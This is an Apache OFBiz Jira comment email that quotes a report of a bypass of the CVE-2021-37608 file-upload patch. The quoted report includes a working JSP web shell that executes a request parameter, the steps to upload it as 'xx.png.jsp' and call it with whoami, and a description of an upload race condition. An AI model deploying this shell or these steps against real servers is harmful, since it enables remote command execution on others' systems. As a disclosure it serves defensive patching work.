[
https://issues.apache.org/jira/browse/OFBIZ-12307?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17429173#comment-17429173
]
Jacques Le Roux commented on OFBIZ-12307:
-----------------------------------------
Hi Mahmood,
Why do you want
bq. to compare an old version instance of OFbiz with a new version instance in
docker containers
? Of course any version before the commits above are vulnerable, and all
versions after these commits are not. I don't know, and don't want to know,
anything about Docker, so I can't help your with that. Maybe you can subscribe
to the user ML* and hopefully get some help there.
This said you should follow the description to attack OFBiz. If your problem is
to run OFBiz follow
https://ci.apache.org/projects/ofbiz/site/trunk/readme/html5/README.html
HTH
* http://ofbiz.apache.org/mailing-lists.html
> CVE-2021-37608 vulnerability bypass
> -----------------------------------
>
> Key: OFBIZ-12307
> URL: https://issues.apache.org/jira/browse/OFBIZ-12307
> Project: OFBiz
> Issue Type: Sub-task
> Affects Versions: 17.12.08
> Reporter: thiscodecc
> Assignee: Jacques Le Roux
> Priority: Major
> Labels: security
> Fix For: 18.12.01, Release Branch 17.12
>
>
> The patch
> ([https://github.com/apache/ofbiz-framework/commit/8d49af4/#diff-75dac0d18a6bc59554dded12b9b01563651e05a2df6cede9d7d3e2b42b7fc382])
> for the CVE-2021-37608 vulnerability can be bypassed.
> Verification process:
> 1.Create a new xx.png.jsp file.
> The content of the xx.png.jsp file is:
> <%
> java.io.InputStream in =
> Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
> int a = -1;
> byte[] b = new byte[2048];
> out.print("<pre>");
> while((a=in.read(b))!=-1)
> { out.println(new String(b)); }
> out.print("</pre>");
> %>
> 2.Upload the xx.png.jsp file directly
> 3.Visit the jsp Trojan address
> "https://localhost:8443/images/products/management/WG-9943/xx.png.jsp?i=whoami";
>
> I carefully analyzed the code of this logic again and found multiple problems.
> the reasons for the vulnerabilities are:
> Here will upload the file first.
>
> [https://github.com/apache/ofbiz-framework/blob/trunk/applications/product/src/main/java/org/apache/ofbiz/product/imagemanagement/ImageManagementServices.java#L159-#L162]
> When verifying the file name, because the file name is "xx.png.jsp", so
> "wrongFile=true".
>
> [https://github.com/apache/ofbiz-framework/blob/trunk/framework/security/src/main/java/org/apache/ofbiz/security/SecuredUpload.java#L128]
> Because "wrongFile=true", isValidFile method will exit early.
>
> [https://github.com/apache/ofbiz-framework/blob/trunk/framework/security/src/main/java/org/apache/ofbiz/security/SecuredUpload.java#L137]
> So that the malicious file is not deleted.
>
> [https://github.com/apache/ofbiz-framework/blob/trunk/framework/security/src/main/java/org/apache/ofbiz/security/SecuredUpload.java#L215]
> The above is the reason for the vulnerability mentioned in my last email.
> I also found a new problem. The code logic used to verify the file upload is
> to upload the file first and then delete it after judging that it is
> malicious.This will create a race condition loophole.
> Use multiple threads to upload the xxx.jsp file, and then keep accessing the
> xxx.jsp file. Since ofbiz adopts the verification rule of uploading and then
> deleting, then xxx.jsp will be uploaded successfully, and ofbiz has not
> successfully deleted "xxx.jsp". The file, "xxx.jsp" file was requested by the
> attacker first. This will create an arbitrary file upload vulnerability.
--
This message was sent by Atlassian Jira
(v8.3.4#803005)
![https://localhost:8443/images/products/management/WG-9943/xx.png.jsp?i=whoami"](https://localhost:8443/images/products/management/WG-9943/xx.png.jsp?i=whoami"){kind=link}